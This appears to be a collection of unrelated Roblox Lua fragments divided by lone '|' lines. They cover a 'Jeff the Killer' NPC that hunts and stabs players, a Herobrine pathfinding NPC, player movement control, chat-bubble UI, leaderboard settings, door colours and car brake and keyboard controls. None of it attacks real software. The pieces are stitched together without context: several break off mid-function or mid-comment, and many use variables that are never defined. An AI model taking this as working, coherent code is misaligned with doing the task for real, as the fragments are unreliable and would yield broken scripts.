local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(60);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<47 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>47 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=2;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=47;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=500;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
--[[ Local Functions ]]
|
--
function MasterControl:GetHumanoid()
if LocalCharacter then
if CachedHumanoid then
return CachedHumanoid
else
CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid")
return CachedHumanoid
end
end
end
local characterAncestryChangedConn = nil
local characterChildRemovedConn = nil
local function characterAdded(character)
if characterAncestryChangedConn then
characterAncestryChangedConn:disconnect()
end
if characterChildRemovedConn then
characterChildRemovedConn:disconnect()
end
LocalCharacter = character
CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid")
characterAncestryChangedConn = character.AncestryChanged:connect(function()
if character.Parent == nil then
LocalCharacter = nil
else
LocalCharacter = character
end
end)
characterChildRemovedConn = character.ChildRemoved:connect(function(child)
if child == CachedHumanoid then
CachedHumanoid = nil
end
end)
end
if LocalCharacter then
characterAdded(LocalCharacter)
end
LocalPlayer.CharacterAdded:connect(characterAdded)
local getHumanoid = MasterControl.GetHumanoid
local moveFunc = LocalPlayer.Move
local updateMovement = function()
if not areControlsEnabled then return end
local humanoid = getHumanoid()
if not humanoid then return end
if isJumpEnabled and isJumping and not humanoid.PlatformStand then
local state = humanoid:GetState()
if state ~= STATE_JUMPING and state ~= STATE_FREEFALL and state ~= STATE_LANDED then
humanoid.Jump = isJumping
end
end
moveFunc(LocalPlayer, moveValue, true)
end
|
-- The location where all DevModules are moved at runtime. Note that a DevModule
-- is moved after its scripts and other instances have been moved to their
-- proper locations. What remains of the DevModule is the Packages folder, and
-- any ModuleScripts that are used by the DevModule.
|
local DEV_MODULE_STORAGE = ReplicatedStorage
|
--[[ FUNCTIONS ]]
|
local function lerpLength(msg, min, max)
return min + (max-min) * math.min(string.len(msg)/75.0, 1.0)
end
local function createFifo()
local this = {}
this.data = {}
local emptyEvent = Instance.new("BindableEvent")
this.Emptied = emptyEvent.Event
function this:Size()
return #this.data
end
function this:Empty()
return this:Size() <= 0
end
function this:PopFront()
table.remove(this.data, 1)
if this:Empty() then emptyEvent:Fire() end
end
function this:Front()
return this.data[1]
end
function this:Get(index)
return this.data[index]
end
function this:PushBack(value)
table.insert(this.data, value)
end
function this:GetData()
return this.data
end
return this
end
local function createCharacterChats()
local this = {}
this.Fifo = createFifo()
this.BillboardGui = nil
return this
end
local function createMap()
local this = {}
this.data = {}
local count = 0
function this:Size()
return count
end
function this:Erase(key)
if this.data[key] then count = count - 1 end
this.data[key] = nil
end
function this:Set(key, value)
this.data[key] = value
if value then count = count + 1 end
end
function this:Get(key)
if not key then return end
if not this.data[key] then
this.data[key] = createCharacterChats()
local emptiedCon = nil
emptiedCon = this.data[key].Fifo.Emptied:connect(function()
emptiedCon:disconnect()
this:Erase(key)
end)
end
return this.data[key]
end
function this:GetData()
return this.data
end
return this
end
local function createChatLine(message, bubbleColor, isLocalPlayer)
local this = {}
function this:ComputeBubbleLifetime(msg, isSelf)
if isSelf then
return lerpLength(msg,8,15)
else
return lerpLength(msg,12,20)
end
end
this.Origin = nil
this.RenderBubble = nil
this.Message = message
this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer)
this.BubbleColor = bubbleColor
this.IsLocalPlayer = isLocalPlayer
return this
end
local function createPlayerChatLine(player, message, isLocalPlayer)
local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer)
if player then
this.User = player.Name
this.Origin = player.Character
end
return this
end
local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor)
local this = createChatLine(message, bubbleColor, isLocalPlayer)
this.Origin = origin
return this
end
function createChatBubbleMain(filePrefix, sliceRect)
local chatBubbleMain = Instance.new("ImageLabel")
chatBubbleMain.Name = "ChatBubble"
chatBubbleMain.ScaleType = Enum.ScaleType.Slice
chatBubbleMain.SliceCenter = sliceRect
chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png"
chatBubbleMain.ImageColor3 = Color3.new(0,0,0)
chatBubbleMain.BackgroundTransparency = 1
chatBubbleMain.BorderSizePixel = 0
chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0)
chatBubbleMain.Position = UDim2.new(0,0,0,0)
return chatBubbleMain
end
function createChatBubbleTail(position, size)
local chatBubbleTail = Instance.new("ImageLabel")
chatBubbleTail.Name = "ChatBubbleTail"
chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png"
chatBubbleTail.ImageColor3 = Color3.new(0,0,0)
chatBubbleTail.BackgroundTransparency = 1
chatBubbleTail.BorderSizePixel = 0
chatBubbleTail.Position = position
chatBubbleTail.Size = size
return chatBubbleTail
end
function createChatBubbleWithTail(filePrefix, position, size, sliceRect)
local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)
local chatBubbleTail = createChatBubbleTail(position, size)
chatBubbleTail.Parent = chatBubbleMain
return chatBubbleMain
end
function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect)
local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)
local frame = Instance.new("Frame")
frame.Name = "ChatBubbleTailFrame"
frame.BackgroundTransparency = 1
frame.SizeConstraint = Enum.SizeConstraint.RelativeXX
frame.Position = UDim2.new(0.5, 0, 1, 0)
frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0)
frame.Parent = chatBubbleMain
local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1,0,0.5,0))
chatBubbleTail.Parent = frame
return chatBubbleMain
end
function createChatImposter(filePrefix, dotDotDot, yOffset)
local result = Instance.new("ImageLabel")
result.Name = "DialogPlaceholder"
result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png"
result.BackgroundTransparency = 1
result.BorderSizePixel = 0
result.Position = UDim2.new(0, 0, -1.25, 0)
result.Size = UDim2.new(1, 0, 1, 0)
local image = Instance.new("ImageLabel")
image.Name = "DotDotDot"
image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png"
image.BackgroundTransparency = 1
image.BorderSizePixel = 0
image.Position = UDim2.new(0.001, 0, yOffset, 0)
image.Size = UDim2.new(1, 0, 0.7, 0)
image.Parent = result
return result
end
local this = {}
this.ChatBubble = {}
this.ChatBubbleWithTail = {}
this.ScalingChatBubbleWithTail = {}
this.CharacterSortedMsg = createMap()
|
--> Services
|
local Players = game:GetService("Players")
|
-- [ SETTINGS ] --
|
local statsName = "Kills" -- Your stats name
local maxItems = 100 -- Max number of items to be displayed on the leaderboard
local minValueDisplay = 1 -- Any numbers lower than this will be excluded
local maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded
local abbreviateValue = true -- The displayed number gets abbreviated to make it "human readable"
local updateEvery = 60 -- (in seconds) How often the leaderboard has to update
local headingColor = Color3.fromRGB(25, 181, 254) -- The background color of the heading
|
-- Note: This specific gauge model comes with different 'Gauge Face' colors, here are the options:
| |
--//=================================\\
--|| WRAP
--\\=================================//
|
function BEGINAI()
HUMANOID.Died:Connect(function()
DEAD = true
script:Remove()
end)
coroutine.resume(coroutine.create(function()
repeat
wait()
local TARGETVARIANTS = {}
local PICK = nil
for index, CHILD in pairs(workspace:GetDescendants()) do
local HUMAN = CHILD:FindFirstChildOfClass("Humanoid")
if HUMAN and CHILD:FindFirstChild("MinecraftHerobrineMainScript") == nil then
if HUMAN.Health ~= 0 then
if HUMAN.Torso then
local DISTANCE = (HUMAN.Torso.Position - TORSO.Position).Magnitude
table.insert(TARGETVARIANTS,{CHILD,DISTANCE})
end
end
end
end
local DIST = math.huge
for E = 1, #TARGETVARIANTS do
local PLAYER = TARGETVARIANTS[E]
local CHARACTER = PLAYER[1]
local DISTANCE = PLAYER[2]
if DISTANCE < DIST then
DIST = DISTANCE
PICK = CHARACTER
end
end
TARGET = PICK
if TURNTO then
GYRO.CFrame = CF(FAKEHEAD.Position,TURNTO.Position+VT(0,TURNTO.Size.Y/1.5,0))
else
GYRO.CFrame = HEAD.CFrame
end
until DEAD == true
end))
while true do
if DEAD == true then
break
end
if TARGET then
local HUM = TARGET:FindFirstChildOfClass("Humanoid")
if HUM then
local ROOT = HUM.Torso
if ROOT then
local PATHFIND = game:GetService("PathfindingService"):ComputeRawPathAsync(TORSO.Position,ROOT.Position,2)
if PATHFIND then
local FOE = TARGET
TURNTO = ROOT
local PS = PATHFIND:GetPointCoordinates()
local PREV = TORSO.Position
local BR = #PS > 1 and 2 or 1
for i = BR,#PS do
local POINT = PS[i]
local DIST = math.huge
repeat wait(0.1)
DIST = (TORSO.Position - POINT).Magnitude
HUMANOID:MoveTo(POINT)
if (ROOT.Position - TORSO.Position).Magnitude < 7 then
StabAnim()
ApplyDamage(HUM,HUM.MaxHealth/20)
local HIT = IT("Sound",ROOT)
HIT.SoundId = "rbxassetid://"..HITSOUNDS[MRANDOM(1,#HITSOUNDS)]
HIT.Parent = ROOT
HIT.Pitch = 1
HIT.Volume = 1.5
HIT:Play()
Debris:AddItem(HIT,2)
if HUM.Health == 0 then
break
end
wait(0.4)
end
until DIST < 5 or TARGET ~= FOE
if TARGET ~= FOE then
break
end
end
else
TURNTO = nil
end
else
TURNTO = nil
end
else
TURNTO = nil
end
else
TURNTO = nil
end
wait()
end
end
BEGINAI()
|
-- Services
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local CodesOtaku = ReplicatedStorage:WaitForChild("CodesOtaku")
local CutsceneModule = CodesOtaku:WaitForChild("CutsceneModule")
repeat wait() until workspace.CurrentCamera -- Wait until camera is found
|
-- emote bindable hook
|
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- Only play emotes when idling
if pose ~= "Standing" then
return
end
if emoteNames[emote] ~= nil then
-- Default emotes
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true, currentAnimTrack
elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- Non-default emotes
playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true, currentAnimTrack
end
-- Return false to indicate that the emote could not be played
return false
end
if Character.Parent ~= nil then
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
|
-- Initialization
|
local Time = Instance.new('IntValue')
Time.Parent = workspace:WaitForChild('MapPurgeProof')
Time.Name = 'Time'
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(21)
|
-- Returns the ancestor that contains a Humanoid, if it exists
|
local function FindCharacterAncestor(subject)
if subject and subject ~= Workspace then
local humanoid = subject:FindFirstChild('Humanoid')
if humanoid then
return subject, humanoid
else
return FindCharacterAncestor(subject.Parent)
end
end
return nil
end
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1000 -- Front brake force
Tune.RBrakeForce = 1000 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--- End of Deprecated methods.
|
function module.new()
local obj = setmetatable({}, methods)
obj.ObjectPool = nil
obj.ChatWindow = nil
obj.DEFAULT_MESSAGE_CREATOR = DEFAULT_MESSAGE_CREATOR
obj.MESSAGE_CREATOR_MODULES_VERSION = MESSAGE_CREATOR_MODULES_VERSION
obj.KEY_MESSAGE_TYPE = KEY_MESSAGE_TYPE
obj.KEY_CREATOR_FUNCTION = KEY_CREATOR_FUNCTION
obj.KEY_BASE_FRAME = KEY_BASE_FRAME
obj.KEY_BASE_MESSAGE = KEY_BASE_MESSAGE
obj.KEY_UPDATE_TEXT_FUNC = KEY_UPDATE_TEXT_FUNC
obj.KEY_GET_HEIGHT = KEY_GET_HEIGHT
obj.KEY_FADE_IN = KEY_FADE_IN
obj.KEY_FADE_OUT = KEY_FADE_OUT
obj.KEY_UPDATE_ANIMATION = KEY_UPDATE_ANIMATION
return obj
end
return module.new()
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "k" then --Camera controls
if cam == ("car") then
cam = ("first")
elseif cam == ("first") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
end
elseif key == "z" then
left = not left
LeftInd()
elseif key == "c" then
right = not right
RightInd()
elseif key:byte() == 48 then
script.Parent.rBrake.Value = true
elseif key == "l" then
if carSeat.Lights.Value == false then
carSeat.Lights.Value = true
carSeat.Parent.Body.Lights.Lights.HL.L.Enabled = true
carSeat.Parent.Body.Lights.Lights.HL.G.Enabled = true
carSeat.Parent.Body.Lights.Lights.HR.L.Enabled = true
carSeat.Parent.Body.Lights.Lights.HR.G.Enabled = true
else
carSeat.Lights.Value = false
carSeat.Parent.Body.Lights.Lights.HL.L.Enabled = false
carSeat.Parent.Body.Lights.Lights.HL.G.Enabled = false
carSeat.Parent.Body.Lights.Lights.HR.L.Enabled = false
carSeat.Parent.Body.Lights.Lights.HR.G.Enabled = false
end
elseif key == "[" then -- volume down
if carSeat.Parent.MP.Volume.Value > 0 then
carSeat.Parent.MP.Volume.Value = carSeat.Parent.MP.Volume.Value - 2
end
elseif key == "]" then -- volume up
if carSeat.Parent.MP.Volume.Value < 100 then
carSeat.Parent.MP.Volume.Value = carSeat.Parent.MP.Volume.Value + 2
end
end
end)
mouse.KeyUp:connect(function(key)
if key:byte() == 48 then
script.Parent.rBrake.Value = false
end
end)
HUB.Limiter.MouseButton1Click:connect(function() --startup
if carSeat.IsOn.Value == false then
carSeat.IsOn.Value = true
carSeat.Startup:Play()
else
carSeat.IsOn.Value = false
end
end)
standButton.MouseButton1Click:connect(function()
if ks.CanCollide == false then
carSeat.Parent.Body.KW.Nein.Transparency = 0
carSeat.Parent.Body.KW.lamfo.Transparency = 0
ks.CanCollide = true
elseif ks.CanCollide == true then
carSeat.Parent.Body.KW.Nein.Transparency = 1
carSeat.Parent.Body.KW.lamfo.Transparency = 1
ks.CanCollide = false
end
end)
function LeftInd()
if left == true then
repeat
carSeat.Parent.Body.Lights.L.G.Enabled = true
carSeat.Parent.Body.Lights.L2.G.Enabled = true
carSeat.Parent.Body.Lights.Lights.L.G.Enabled = true
script.Parent.Indicator:Play()
script.Parent.HUB.Left.Visible = true
wait(1/3)
carSeat.Parent.Body.Lights.L.G.Enabled = false
carSeat.Parent.Body.Lights.L2.G.Enabled = false
carSeat.Parent.Body.Lights.Lights.L.G.Enabled = false
script.Parent.Indicator2:Play()
script.Parent.HUB.Left.Visible = false
wait(1/3)
until left == false
carSeat.Parent.Body.Lights.L.G.Enabled = false
carSeat.Parent.Body.Lights.L2.G.Enabled = false
